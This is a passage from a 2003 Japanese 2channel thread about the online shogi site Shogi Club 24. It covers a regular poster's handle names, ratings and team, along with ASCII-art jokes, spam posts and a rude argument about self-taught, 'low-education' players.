三段と四段の中間の存在として永遠に24をさまよい続けるのだ。
そして五段復帰しようとしてもできないので
−ふさふさどらごんはRをやめた。

結局Rやめるけどなー

263 :名無し名人:03/04/08 08:11 ID:T4c4pDkI
めぐたんのために 涙一つ流さないのかと
昔の俺なら最強コテハンだろうと 容赦無く殴り掛かっただろうが…

「フサフサ先生…将棋盤逆さだぜ」

264 :名無し名人:03/04/09 11:04 ID:OZkeja6s
ジョジョがおわってころりんがおやすみだからふさたんも元気ないかな?
つーかがっこはじまったぽい。。。
ところで斬鉄剣てラグナロクのこと?

265 :フサギコ ◆e51syuFUSA :03/04/09 21:33 ID:HnnSRhBF
ジョジョはまたすぐに戻って来てくれるさ、
それまで単行本読み直して待ってる。
斬鉄剣はモナー板の2chRPGを作ろうスレで
半年ほど前に叩かれて消えた今はなき作者の作っていたRPGの名前がcq。
んでcqで斬鉄剣を扱える奴がちびギコ。
zantetukenの地域がcq-tibigikoなのはそう言う訳です。

あ、コロリンに対しては多少むかついても放置敢行中なので
戻ってきてくれない方が良いです。

266 :フサギコ ◆e51syuFUSA :03/04/09 21:36 ID:HnnSRhBF
今ログを読み返すと>>178が大変滑稽に見える

267 :名無し名人:03/04/09 22:33 ID:aFfQ4XwE
>>266
あれは淀川長治さんの真似したかっただけじゃねーのか?w
滑稽ではあるが。

268 :フサギコ ◆e51syuFUSA :03/04/09 23:55 ID:HnnSRhBF
>>267
誰それ?と言ってみるか。芸能関係は詳しくない…

269 :名無し名人:03/04/10 18:19 ID:HQwH5jdh
>>268
さよなら三連発は淀川さんの得意技
映画評論家でつ。結構前に亡くなられました。

270 :フサギコ ◆e51syuFUSA :03/04/10 18:22 ID:ZOizqOSS
CHAGEASU = Herlockを調べてみる

Herlock

count:ooooooooooooooooooo-oxoxoooxoooooxxooooooxooooooxoooxooo

vs 七段 1.000 (2勝 0敗)
vs 六段 0.818 (18勝 4敗)
vs 五段 0.789 (15勝 4敗)
vs 四段 1.000 (11勝 0敗)
vs 3級 1.000 (1勝 0敗)

271 :フサギコ ◆e51syuFUSA :03/04/10 18:24 ID:ZOizqOSS
CHAGEASU

count:-xooooo-ooooooooooooxooooo-oooxoooooooxooxoooxo-oooxxxoooxxxoooooooxoooo-o
oooooo-oxoo-oooxoxoooooooooooxooxooxooxoxooxxoxxoxoo-o-oooooooooooooxooooxoxoooo
oooooooxo

vs 七段 0.500 (1勝 1敗)
vs 六段 0.765 (52勝 16敗)
vs 五段 0.796 (39勝 10敗)
vs 四段 0.893 (25勝 3敗)
vs 三段 1.000 (4勝 0敗)
vs 二段 1.000 (1勝 0敗)
vs 初段 1.000 (2勝 0敗)

272 :フサギコ ◆e51syuFUSA :03/04/10 18:27 ID:ZOizqOSS
確かに同一っぽいなぁ…四段の挑戦も受けてるし。

>>269
(・´ω`・)ヘー

273 :名無し名人:03/04/10 18:38 ID:sVw4H/Oy
↑その顔文字きもちわるいよ〜W

274 :フサギコ ◆e51syuFUSA :03/04/10 21:29 ID:ZOizqOSS
>>273
ぅぅ
いいじゃん(・´ω`・)

275 :名無し名人:03/04/11 04:37 ID:ANVr4She
>>274
どちらの点を目と捉えるかで印象が180度変わるなw

276 :名無し名人:03/04/11 17:45 ID:qXeO8zw7
相居飛車みぎしけんの玉はどんな囲いが一番いいかな?

277 :フサギコ ◆e51syuFUSA :03/04/11 20:03 ID:ryTDE9+R
>>275
ああ、俺は「・」を目として捕らえてるからね。
>>273の気持ち悪いがやっとわかった。

>>276
その方面にはほとんど精通していないので分りかねます。

278 :名無し名人:03/04/11 23:51 ID:qJJIjUCR
いや、・を目にしたのがいやだったんだけどね…

279 :フサギコ ◆e51syuFUSA :03/04/12 03:22 ID:gT0szNMt
うぅぅ

280 :フサギコ ◆e51syuFUSA :03/04/12 06:11 ID:gT0szNMt
      (´・ω・`)     ○   (´・ω・`) 。 O 
         ○  。
しょぼん玉dだ〜。  (´・ω・`)    ○ 。 
 ∧_∧    。 o ○
 (*´・ω・)y━o          (´・ω・`)
 ( つ□ノ 
  し' し'

281 :名無し名人:03/04/12 12:51 ID:jtAE2aWk
ふさたんって五段のときがあったの?最高Rはいくつ

282 :フサギコ ◆e51syuFUSA :03/04/12 19:18 ID:gT0szNMt
最高Rは2300から2449です(`・ω・´)

283 :フサギコ ◆e51syuFUSA :03/04/13 08:19 ID:WFl2B6MY
最高Rは基本的に秘密にしたいんでごめんな。
ゴルゴのRを超えたのでムスコ封印。
次は何使おうか…

284 :名無し名人:03/04/13 12:05 ID:+hENHstz
やはりはまぐり君が追い付くのはまだまだでつね・・

285 :フサギコ ◆e51syuFUSA :03/04/13 21:07 ID:WFl2B6MY
905 名前:フサギコ ◆e51syuFUSA 投稿日:03/04/13 21:01 ID:WFl2B6MY
本気の本気出せば2350には普通に勝てると思うがそれを維持する事が難しい。
Rを気にせずに指すためにはどうすればいいかな?
HNを二個一セットで持って常に低い方で指せば高い方のRは絶対維持出来るから
安心のはずなんだけどどうしても一回勝ってRあがると次進めないw

マルちんぽスト

286 :名無し名人:03/04/14 14:56 ID:MTRKyDpK
一日一ふさたん

287 :フサギコ ◆e51syuFUSA :03/04/15 02:05 ID:vJux38on
やたー金指さずに(自分の金不動、相手から取った金も打たずに)勝ったよー

288 :名無し名人:03/04/15 03:53 ID:SqAJKvdx
( ゚Å゚)ホー

289 :名無し名人:03/04/15 18:10 ID:7VESLco/
じゃあさあ、コロりん相手に四桂!とかときん矢倉とかやってみて(☆_☆)
平手でいいからさ
さすがに宣言すると阻止されるかもしれんけど
試したい戦法があるとかいって・・

290 :フサギコ ◆e51syuFUSA :03/04/15 21:43 ID:vJux38on
俺はもっと上を見ています、コロりんと指す暇ありません。
と言って見るtester

HNのRを保持しつつ大会に出る方法に悩む。
fusafusaDORAGONを完全に大会用にして最高Rをageずに
fusagikoとzantetukenで1セットにするか、
現行のままfusafusaDORAGONとzantetukenを1セットにして
RがfusafusaDORAGON>zantetukenになっている場合
大会に出場しないか。その場合対戦前登録後に同上になった場合どうするか。
一番いいのはfusagikoを大会用にして
fusafusaDORAGONとzantetukenで完全に1セットにしたいんだけど
大会用HNは1つ限定だからできんし。
だいたいfusafusaDORAGONの最高Rをageるかどうかにも迷う。
上げる事によるメリットというのは余りないからなぁ。

291 :フサギコ ◆e51syuFUSA :03/04/15 21:50 ID:vJux38on
現状だとプライベートの方は大会でRの変動がないため一セット
システムが機能しているが、2ch用は独立気味っぽいなぁ。
fusagiko チャット制限突破用、過大(元)
fusafusaDORAGON セットA 大会
zantetuken セットB
fusafusaDORAGONやzantetukenで制限突破が出来そうなので
チャット制限突破用HNの必要性が無くなった。
更にセットシステムを完全にするため
fusafusaDORAGONのRを変動させる大会が邪魔になってる。

まぁいろいろいいかげん書いたけど半分自分の頭を整理するために書いたので
意味わからんとかいわないで下さいw

292 :フサギコ ◆e51syuFUSA :03/04/15 21:58 ID:vJux38on
最終案は以下

1、fusafusaDORAGONは大会用HNにしてfusagikoとzantetukenでセットにする

2、現行を維持してzantetuken使用中にfusafusaDORAGONのRが下がった場合過大狩などで補填する
  (この場合fusagikoの必要性がなくなるが、何か考えないと)

3、粂っちに申請してfusagiko(zantetuken)を大会用に変更していいか聞く
  変更許可が出た場合fusafusaDORAGONとzantetuken(fusagiko)をセットにする

3は出来ればの希望だが基本的に1か2を選択すると思う。

293 :フサギコ ◆e51syuFUSA :03/04/15 22:04 ID:vJux38on
セットシステムの概要は>>285
発案は俺ではなくのんきものです。
始めてこの方法を聞いたときに大変感心しました。
そういや今のんきものはどうしてるんだろ。
忙しいとかで消えたっきりだなぁ。
コテは今木楽ファンだったので今木楽スレみてるかな?

294 :フサギコ ◆e51syuFUSA :03/04/15 22:10 ID:vJux38on
眠いや

295 :名無し名人:03/04/15 23:12 ID:73snoRGG
(゚д゚)サルー♪ ゴリラチンパンジー♪

296 :名無し名人:03/04/15 23:31 ID:Ibb5HsB0
ふさぎこはずるくないか?

297 :名無し名人:03/04/16 21:05 ID:jWvjF2iW
ふさたんがいないぐらいでなかないのが俺

298 :あぼーん:あぼーん
あぼーん

299 :山崎渉:03/04/19 23:44 ID:rZjrjEup
   ∧_∧
  (  ^^ )< ぬるぽ(^^)

300 :あぼーん:あぼーん
あぼーん

301 :あぼーん:あぼーん
あぼーん

302 :にやこう ◆Es3JBt9s5c :03/04/20 14:41 ID:0S8XbBkI
(・∀・)ニヤニヤ

303 :名無し名人:03/04/23 16:22 ID:/cZ9kuHx
  ずーり ずーり
   ∧_∧
  / ・ω・)
...../____ノ


2chやめようかな

304 :名無し名人:03/04/26 12:31 ID:sjyF6wTP
                               ミ     
                       ミ  ( ,,,,,, ∧,,∧   
                    ∧,,∧   η ミ,,゚Д゚彡  
           ミ __    ミ,,゚Д゚彡   (/(/     ミ  /)    
            て"  ミ   ミ つつ     彡      ミ `つ 
             ⊂   ミ    ミつつ 彡          ⊂  つ   
            彡"  ミ                   彡"。γ。ミ  
       ∧,,∧    ∨"∨ 彡                   ∨"∨ 彡   ∧,,∧     / ̄ ̄ ̄ ̄ ̄
   ( ,,,,,ミ,,゚Д゚彡                                   ミ,,゚Д゚彡  < フサギコ参上! 
  ⊂,,,,,,,,,,,,,,,つつ                                    ミ  ,つ    \_____
 彡                                          〜ミ ,ミつ  スタッ !
  ピョン!

305 :名無し名人:03/04/29 00:51 ID:DxZ0c/d7
ぬるぽ

306 :名無し名人:03/05/02 21:07 ID:5EeI8fdb
ふさたんは本心かくせてないような…W

307 :名無し名人:03/05/03 16:53 ID:nb3Wrfh1
>>306
う゛




ヽ(`Д´)ノ

308 :名無し名人:03/05/06 22:50 ID:iSKhtoc0
フサギコHN教えろ。

309 :名無し名人:03/05/07 18:45 ID:HMS869pG
フサ

310 :名無し名人:03/05/09 19:33 ID:MSGAYDJb
>>308
dcsyhi2

311 :名無し名人:03/05/09 20:50 ID:jFvJB8cU
マゲ

312 :名無し名人:03/05/09 21:17 ID:jFvJB8cU
もげ

313 :あぼーん:あぼーん
あぼーん

314 :名無し名人:03/05/14 08:41 ID:fe9YErFQ
ふさたん大好き

315 :名無し名人:03/05/14 09:10 ID:TUbCej3n
つーか、おっぱいモミモミ

316 :あぼーん:あぼーん
あぼーん

317 :あぼーん:あぼーん
あぼーん

318 :名無し名人:03/05/18 21:50 ID:XS1SzCJG
ふにゃあ

319 :名無し名人:03/05/18 21:56 ID:Elmj252e
>>318
はにゅう

320 :名無し名人:03/05/18 22:56 ID:Elmj252e
ふさたんはいまのz2についてどうおもう?


321 :名無し名人:03/05/19 19:13 ID:VMBLkAia
ふさぎこさん
おれを弟子にしてください

322 :あぼーん:あぼーん
あぼーん

323 :あぼーん:あぼーん
あぼーん

324 :名無し名人:03/05/26 08:26 ID:8fwWUYlb
2200復帰おつかれさまです(^^ゞ
幹事もちょっとがまんしとけばよかったのにね…
しばらくはゲストがメインなの?
ざんてつけん復活きぼん

325 :名無し名人:03/05/27 23:42 ID:yPqoSe4A

−−−∧_∧
−− ( ・∀・)
−−( ∪;;;;;;;;∪ )彡
−− ( ;;;;;;;;;;;;; )彡
−−( ;;;;;;;;;;; )彡
−-( ;;;;;;;;; )彡
−( ;;;;; )彡
− γ彡

         ∧_∧〜♪
        ( ´∀`) <ラ・九州
        (つ   つ
        | | |
_______(__)_)_______



       │││││
       │││││スココココッ
       │∧_∧│
        ( ・∀・)
       ( ∪;;;;;;;;∪ )彡
        ( ;;;;;;;;;;;;; )彡
        ( ;;;;;;;;;;; )彡
         ( ;;;;;;;;; )彡
        ( ;;;;; )彡
          γ彡
        ( ´∀`) オッ?
        (つ   つ
        | | |
_______(__)_)_______

326 :名無し名人:03/05/27 23:43 ID:yPqoSe4A
       │││││スココココッ
       │∧_∧│
        ( ・∀・)
       ( ∪;;;;;;;;∪ )彡
        ( ;;;;;;;;;;;;; )彡
        ( ;;;;;;;;;;; )彡
         ( ;;;;;;;;; )彡
        ( ;;;;; )彡
 ベキッバキッ   γ彡 マエガミエヌ...
        | | |
_______(__)_)_______



       │││││スココココッ
       │∧_∧│
        ( ・∀・)
       ( ∪;;;;;;;;∪ )彡
       ( ;;;;;;;;;;;;; )彡
        ( ;;;;;;;;;;; )彡
   バキッボキッ ( ;;;;;;;;; )彡ア〜・・・
         ( ;;;;; )彡
_______γ彡______

327 :名無し名人:03/05/27 23:44 ID:yPqoSe4A
         ∧_∧
        ( ・∀・)
       ( ∪;;;;;;;;∪ )彡
        ( ;;;;;;;;;;;;; )彡
         ( ;;;;;;;;; )彡
   ポキンヌッ ( ;;;;;;; )彡・・・
          ( ;;;; )彡
_______γ彡______


         ∧_∧
        ( ・∀・) デケタ
       ( ∪;;;;;;;;∪ )彡
      │( ;;;;;;;;;;;;; )彡 │
       │( ;;;;;;;;;;; )彡
      │ ( ;;;;;;;;; )彡││
         ( ;;;;; )彡 │ コォォォォ
      ││ γ彡 │││
_______(__)_)_______

328 :名無し名人:03/05/27 23:46 ID:yPqoSe4A
         ∧_∧
        ( ・∀・)
       ( ∪;;;;;;;;∪ )彡
      │( ;;;;;;;;;;;;; )彡 │
       │( ;;;;;;;;;;; )彡
      │ ( ;;;;;;;;; )彡││
       │( ;;;;; )彡 │ コォォォォ
      ││ γ彡 │││
        (    )
        | | |
_______(__)_)_______

         ∧_∧
        ( ・∀・)
       ( ∪;;;;;;;;∪ )彡
      │( ;;;;;;;;;;;;; )彡 │
       │( ;;;;;;;;;;; )彡
      │ ( ;;;;;;;;; )彡││
       │( ;;;;; )彡 │ コォォォォ
      ││ γ彡 │││
         ∧_∧
        (  ^^ )<山崎渉でした
        (    )
        | | |
_______(__)_)_______

329 :名無し名人:03/05/27 23:46 ID:yPqoSe4A

            −−−∧_∧
            −− ( ・∀・) 次イコ
            −−( ∪;;;;;;;;;;つ)彡
            −− ( ;;;;;;;;;;;;; )彡
            −−( ;;;;;;;;;;; )彡
            −-( ;;;;;;;;; )彡
            −( ;;;;; )彡
            − γ彡
         ∧_∧
        (  ^^ )<これからも僕を応援して下さいね(^^)。
        (    )
        | | |
_______(__)_)_______

330 :名無し名人:03/05/28 01:04 ID:arsthFuk
まで

1-687 2-433 3-535

331 :山崎渉:03/05/28 10:06 ID:MvGR1eLs
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉

332 :山崎渉:03/05/28 10:08 ID:nUjBPlia
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉

333 :名無し名人:03/05/29 00:22 ID:uiCM+b6b
◆24の雑談部屋ぁ〜♪◆
http://game.2ch.net/test/read.cgi/bgame/1044026280/
◆24の雑談部屋ぁ〜♪part2◆
http://game.2ch.net/test/read.cgi/bgame/1044520231/
◆24の雑談部屋ぁ〜♪part3◆
http://game.2ch.net/test/read.cgi/bgame/1044965246/
24の雑談部屋ぁ〜♪part4
http://game.2ch.net/test/read.cgi/bgame/1045160671/
◆24の雑談部屋ぁ〜♪part5◆
http://game.2ch.net/test/read.cgi/bgame/1046192835/
◆24の雑談部屋ぁ〜♪part6◆
http://game.2ch.net/test/read.cgi/bgame/1046465429/
◆24の雑巾部屋ぁ〜♪part7◆
http://game.2ch.net/test/read.cgi/bgame/1047198008/
◆24の雑談部屋ぁ〜♪part8◆
http://game.2ch.net/test/read.cgi/bgame/1047902724/
◆24の雑巾部屋ぁ〜♪part9◆
http://game.2ch.net/test/read.cgi/bgame/1047998400/
◆24の雑談部屋ぁ〜♪part9◆
http://game.2ch.net/test/read.cgi/bgame/1048031431/
◆24の雑草部屋ぁ〜♪part10◆
http://game.2ch.net/test/read.cgi/bgame/1049374658/
24の雑談部屋〜♪PART10くらい
http://game.2ch.net/test/read.cgi/bgame/1049623048/
◆24の雑菌部屋ぁ〜♪part12◆
http://game.2ch.net/test/read.cgi/bgame/1050237376/
◆24の雑学部屋ぁ〜♪part13◆
http://game.2ch.net/test/read.cgi/bgame/1051098736/
◆24の隔離部屋ぁ〜♪part14◆
http://game.2ch.net/test/read.cgi/bgame/1053705354/

334 :名無し名人:03/05/31 22:28 ID:5d1Mdv7Y
hyperhaf > 馬句について木目 言炎 したいのですが
hyperhaf > いいプラ駒あるかね?
hyperhaf > 君たち、我のポケット将棋返してくれ
hyperhaf > まさか、歩をなくしたんじゃないだろうな
hyperhaf > ポケット将棋は歩がすぐに、無くす
hyperhaf > 無くしたあと、
hyperhaf > 紙で歩と書くやつがいる
hyperhaf > それを返しやがって
hyperhaf > 価値がなくなった
hyperhaf > 必ず歩をなくす
hyperhaf > 何故歩ばっかなくす!!
hyperhaf > 歩は白兵専門
hyperhaf > 香車はロケット砲
hyperhaf > 桂馬は空爆専用
hyperhaf > 銀は機動部隊
hyperhaf > 金は側近
hyperhaf > 大駒はメイソウェポソ
hyperhaf > 王は司令塔
hyperhaf > 大駒以外、出世は金まで
hyperhaf > たとえ歩が成ってと金になろうとも
hyperhaf > 、ダサ坊だった過去は消えない
hyperhaf > 「と」というレッテル付きだ
hyperhaf > 香車もそうだ
hyperhaf > 金の文字を崩してある
hyperhaf > その点、成り銀は過去が誇らしげだ
hyperhaf > 機動部隊「銀」が誇らしげだ

335 :フサギコ ◆e51syuFUSA :03/05/31 22:44 ID:5d1Mdv7Y
なんか2chみたのかなり久しぶりだな。

336 :フサギコ ◆e51syuFUSA :03/05/31 23:22 ID:5d1Mdv7Y
(・∀・)帰ってきた「はぶえもん」
http://game.2ch.net/test/read.cgi/bgame/1050774507/


337 :名無し名人:03/06/04 23:12 ID:huWOVbrN
ほしゅ

338 :27才:03/06/05 14:35 ID:qVMBIUR2
今きめた。
おれ、ふさたんが強豪にかったら童貞すてるよ。

339 :名無し名人:03/06/05 22:47 ID:bOoys7Wy
超自己流きたーーーーー

340 :ふさたん祭:03/06/06 03:07 ID:CdBdXElo
>>338
    ,,,,,,,,,,,,,,,∧,,∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 〜′,,,,,,,,,,ミ,,゚Д゚彡< 一生童貞おめでとうございまーす♪
  UU”””” U U   \_________

341 :ふさたん祭:03/06/06 03:28 ID:CdBdXElo
24のチャット用だからズレた…ミ,,TДT彡

342 :ふさたん祭:03/06/14 01:33 ID:X320z+V5
 

343 :ふさたん祭:03/06/15 21:24 ID:DsSlSIhX
誰か俺と10000手の将棋指して下さい

希望者はHNを書いてください。zantetukenに直通してくれてもいいです。
途中中断の可能性があるのでR室必須です。
1手1秒で2時間46分40秒で10000手の計算です。
半分の5000手は俺が指すので実働は1時間23分20秒で済みます。
先着1名様です。皆さん、どうかよろしくお願いいたします。

スレ立てられなかったミ,,TДT彡

344 ::03/06/15 22:26 ID:fxA4gNr1
=====================================================================
ハンドル:miya 年齢:0 性別:非公開 [ブラックホール ]
腕 前:初心者ってわけじゃありません。
自己紹介:囲碁1級です。
=====================================================================
棋太平-SysOp >>戦績は207勝75敗(73%)です (PC User)
=====================================================================

対局速報 ⇒⇒⇒【 ブラックホール 】vs【 miya 】 ━ ブラックホールさんの勝ち!! ━

miya >>フィリピンパブの4軒はしご。。あさの6時まで。。。
miya >>さすがに、よいだけはさめてました
miya >>最後のところには妖怪のロシア人に・・・・
miya >>なんで、40過ぎのオバタリアンが・・・・
miya >>それまでは、20代前半だったのに・・・
miya >>ははは
miya >>いい思い出になりましたね
miya >>だれかが、金髪がいいからというもので(笑)
miya >>そのひとは、しっかりと1番可愛い若手の金髪をとなりにGETしてました(笑)
miya >>贅沢三昧でしたね(笑)
miya >>あとは、ながれるまま…(笑)
miya >>ふむふむ
miya >>もう寝ます



345 :フサギコ ◆e51syuFUSA :03/06/21 13:27 ID:ZK1QJKM1
>>343は現在ハメクリくんと進行中、現在2000と数百手

75 名前:名無し名人 投稿日:03/06/17 14:08 ID:+dqt742M
ぼくふさたんファンだからざんてつけんの将棋とかたまに見るんだけど
z2のひととかがきて馴れ合いだすとかなりいづらくなるよね
チームふさとか作ってほしいよ


遅レススマソ、ログ大量にあったんで見るのが遅れてました。
でチームふさがないかって話だけどすでにあります。
チームフサギコ、地域にfusaと入れるだけでおけー
ゲストでも可、またーりミ,,゚Д゚彡

346 :名無し名人:03/06/23 20:13 ID:cp+FTIsx
チームfusa
http://post.miyukinet.ne.jp/z2/fusa/



347 :名無し名人:03/06/24 20:39 ID:ZTuvztBS
自己流が低学歴とは限らないが、低学歴はほぼ間違いなく自己流。

348 :名無し名人:03/06/24 20:42 ID:icz8ZuqI
四間飛車しかできないヤツの集まるスレですか?

349 :名無し名人:03/06/24 21:00 ID:ZTuvztBS
良し悪しは別にして、将棋は序盤を適当に指してもよほど酷いことをしない限りそれなりの将棋になる。
また、無理筋の攻めでも咎めるのが難しく、時としてプロ棋戦でも
無茶攻め相手に恥ずかしい負け方をするケースが出現する。

極論すれば、低学歴でも、社会の底辺でも、記憶力がなくても、
手が読めて感覚が優れていさえすれば本すらまともに読めないような人間でもある程度強くなれる。
もちろん、そんな人間ではプロにはなれないだろうが、アマチュアでは「結構強い」という評判を取れる程度にはなれるだろう。

350 :名無し名人:03/06/24 21:11 ID:iA3/Nz4n
将棋と学力が関係あるとして、
将棋に向いてるのは、どんな教科が得意な奴?
数学?将棋が強い奴は、理数系が多いのかな?
俺は将棋超ヘタレだけど、もろ文系なんだけど。

351 :名無し名人:03/06/25 00:36 ID:GfLsFUFq
>>350

俺は将棋超ヘタレだけど、もろ文系なんだけど。

→ちなみに俺は将棋超ヘタレで、もろ文系。


352 :フサギコ ◆e51syuFUSA :03/06/25 20:19 ID:X4HBAPHl
TEANfusa
http://post.miyukinet.ne.jp/z2/fusa/
入れおまいらばかおながいしますあほ

353 :名無し名人:03/06/26 01:49 ID:ZpurwzPX
HN新しくできたらいいのになぁ

354 :フサギコ ◆e51syuFUSA :03/06/26 22:20 ID:PF9ONd2o
近将は登録してからでも変えられるみたいだけど登録ミスした時だけだし
24はHN多いから変えたら完全に別人になるからなぁ。
ていうか誰かチームfusa入ってくださいw
現在3人ミ,,TДT彡

355 :名無し名人:03/06/27 01:14 ID:zeYnDj8X
絶対かぶりそうにない名前ってないかな
今のHN1字違いでかぶっててやだなぁ
それがなんとかなればむしろ入りたいヽ(`Д´)ノ

356 :名無し名人:03/06/29 01:13 ID:VnZibs4+
yahooでレートの低い超初心者女の子とチェスをプレイしたんだけど、
Danish Gambitやってきたんだよね。
超初心者とはいえ、真面目さと知性を感じさせる人物だった。
とても好感を持ったよ。

それに対し、将棋でレートが低い奴だと棒銀オンリーだったり、
振り飛車にしても定跡がわかってない指し方だったりすることが多い。
「固く囲えばどうにかなる」とか「駒ぶち切って無理やり攻めればどうにかなる」といった、ある意味下品な指し方が見受けられる。
そういう人物に対しては、「人生において何か一つでも深く探求したことがあるのか?」って疑ってしまうほど知性を感じない。
将棋は本来高度に知的なゲームのはずなのに、そういう人物が多いことはとても悲しむべきことだよ。

357 :名無し名人:03/06/29 01:27 ID:jUsJc0bo
超自己流で強い人のハンドルネーム教えて。

358 :名無し名人:03/06/29 01:41 ID:Bqbe3vhs
学歴がどーのとすぐ持ち出す奴は少なくとも知性はないな

359 :名無し名人:03/06/30 04:00 ID:JS/JnG6F
どうして将棋という遊びの世界に学歴の話がでてくるのよ。
イモくさいね。


360 :名無し名人:03/06/30 17:11 ID:7BnMtcUB
低級の早石田は下品だよな 
大駒切ればいいと思ってる

361 :名無し名人:03/06/30 18:13 ID:8Gat/HKm
学歴は置いておいても、知性を感じさせない、品のない手を連発する奴、
っていうのは確かに存在する。


362 :名無し名人:03/07/01 01:54 ID:0yWW7foW
そして挨拶無し

363 :名無し名人:03/07/03 12:55 ID:c/f4QTSy
   ,ィ":::::::::::::::::::;;;;;:ii>;,、    くらえッッッ スカーレット・ニードル!
  /:::::::::::::::;;;;;;;;iii彡" :ヤi、  ヽ─y─────────────     ..┐
  i::::::::::::;:"~ ̄     ::i||li                          ,. ‐'´ ノ
  |:::::::::j'_,.ィ^' ‐、 _,,. ::iii》                     _. -''´  .-'´
  |:::i´`  `‐-‐"^{" `リ"                    /  _r‐'「`r、
  ヾ;Y     ,.,li`~~i                , -‐''フ7´ 、 'ーl、 l } l
    i、   ・=-_、, :/            _. -''"´   l |  `'ーく/ ノ ノ
    ヽ    ''  .:/        _.. -‐''´       | l、_ ‐、___[])''''´
_,-ー / .` ‐- 、、ノァ''´ ̄_ユ‐'"´            '、 `‐ニエエソ´
|   /| ヽ .  ∧ /   /              `'==''ソ 
   | \   ノ | | l  ′             :::::_: -‐'"´
ヽ  |___><  / ヽ            ::::_: -''"´    
                   :::_: -‐'"´      




364 :名無し名人:03/07/04 17:53 ID:pAwHacEJ
>>361
まぁ、そういうヤシは何やっても自己流なんだから
「あぁ、人生の負け組ね」って思っておけばいい。

365 :名無し名人:03/07/04 17:59 ID:veuNLXHa
1は阪田三吉の将棋をしらないのですか?

366 :名無し名人:03/07/04 19:08 ID:pAwHacEJ
>>365
ここで言ってる自己流というのは阪田三吉のそれとはちょっと違うだろ。
棒銀しかできないヤシとか、早石田で大駒ぶち切って暴れるだけの攻め馬鹿と
阪田三吉では全く次元が違う。

阪田三吉の将棋には美学があるが、単なる自己流野郎の将棋には
それが完全に欠如している。

367 :名無し名人:03/07/04 19:13 ID:eHWrkRXP
>>366
早石田と棒銀は自己流じゃないよ

368 :名無し名人:03/07/04 19:35 ID:pAwHacEJ
>>367
棒銀には棒銀の定跡、早石田には早石田の定跡ってものがあるだろ。
棒銀や早石田を指せば自己流じゃないってわけじゃない。
正しく受けられたら悪くなるような間違った手順でも、相手が受け間違えれば勝てるが、
所詮研究不足のガリガリ将棋。

369 :名無し名人:03/07/04 19:37 ID:LdZZ7SZg
■■■■ あの 自称屋敷プロよりも強い男と指せるかも? ■■■■

この機会に「棋太平の狂気の世界」を体験しましょう(爆

7月1日より、spsホームページにて『インターネット将棋 〜棋太平〜』『イン
ターネット麻雀 〜雀平〜』アカウント販売を開始します。

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370 :名無し名人:03/07/05 00:46 ID:aioqntD+
ま、自己流よりも下品な奴の方が嫌われる、ということですな。

371 :山崎 渉:03/07/15 09:08 ID:yBadRVkV

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄

372 :フサギコ ◆e51syuFUSA :03/07/17 00:03 ID:PcnQzeaz
あげとくか

373 :名無し名人:03/07/22 21:03 ID:47OxERff
>>372 激しくワロタワロタワロタ!!!!ハァハァ(;´Д`)フサタソ(;´Д`)ハァハァ∈= ⊂( ⊃;´Д`)⊃ハァハァ

374 :名無し名人:03/07/23 12:22 ID:cJMuYnTf
対ふり左銀急戦ってはめてみたいなもんだよな
正しく受けられたらまず勝てない
だいたい玉がわの銀を右辺に突撃させるって常軌を逸してるよ
何百年もの間、対振りは右しけんと位どりが主流だったわけだしね

375 :名無し名人:03/07/23 12:49 ID:oJFrO0JR
>>374
そもそも急戦じたい将棋では無理筋じゃないか

一方的に攻めて良くなるはずがない

376 :名無し名人:03/07/23 13:03 ID:GoJMbwLw

                                 
              (⌒⌒〜((((´・ω・`) 〜((((´・ω・`)  〜((((`・ω・´) 〜((((`・ω・´)
           (⌒    〜((((´・ω・`) 〜((((´・ω・`)  〜((((`・ω・´) 〜((((`・ω・´)
         --、( (_⌒〜(((´・ω・`) 〜((((´・ω・`)  〜((((`・ω・´) 〜((((`・ω・´)
           )ノ ⌒                       ∧         ∧
        /⌒ヽ⌒ヽ    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄    / ̄ ̄  ̄ ̄ ̄ ̄ ̄ ̄  ̄ ̄
        ノ´・ω・`Y  ヽ<ショボーソ ショボーソ ショボーソ  |  シャキーソ!! シャキーソ!! シャキーソ!!
      /´・ω・` 八  ヽ  \________   |
     (   __//. ヽ,, ,)
      丶1    八.  !/
       ζ,    八.  j
        i    丿 、 j
        |     八   |
        | !    i 、 |
       | i し " i   '|
      |ノ (   i    i|
      ( '~ヽ   !  ‖
        │     i   ‖
      |      !   ||
      |    │    |
      | ´・ω・` |    | |
     | ´・ω・`  |   | |
     | ´・ω・`  !    | |
    | ´・ω・` ´・ω・`  ‖       / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   /´・ω・` ´・ω・` ´・ω・`ヾ    / ショボーソ ショボーソ ショボーソ
  /´・ω・`  ´・ω・`  ´・ω・`ヽ  <  ショボーソ ショボーソ ショボーソ
 .´・ω・` ´・ω・` ´・ω・` ´・ω・`ヽ  \ ショボーソ ショボーソ ショボーソ
                        \__________



377 :夏厨 ◆e51syuFUSA :03/07/25 11:28 ID:Pdxt60fJ
>>373
なんで笑うんだよ(;´Д`)ハァハァ

>>374-375
正直急戦はやる気しません

378 :名無し名人:03/07/28 22:01 ID:8RUfiSIj
あえて定跡を外して指せば「力戦形」といえるが、
定跡知らないタコが指してる将棋は単なるでたらめ。
低学歴の事故流は恥を知ったほうが良いね。

379 :山崎 渉:03/08/02 00:40 ID:1SwAUbCj
(^^)

380 :名無し名人:03/08/09 18:43 ID:F4bUbFW6
おあんこ

381 :名無し名人:03/08/09 21:22 ID:CA6jW5qZ
麻雀で相手に同じこと言われたらむかつかない?
そういうこと。

382 :名無し名人:03/08/10 16:13 ID:fepRd61r
面と向かって言えよハゲ

383 :名無し名人:03/08/11 06:49 ID:3whJy630
一間飛車って自己流か?

384 :山崎 渉:03/08/15 10:57 ID:raOtfIaR
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン

385 :名無し名人:03/08/16 18:50 ID:sLginGn8
ふさたんはーー?

386 :名無し名人:03/08/20 00:57 ID:zYSr0wbM
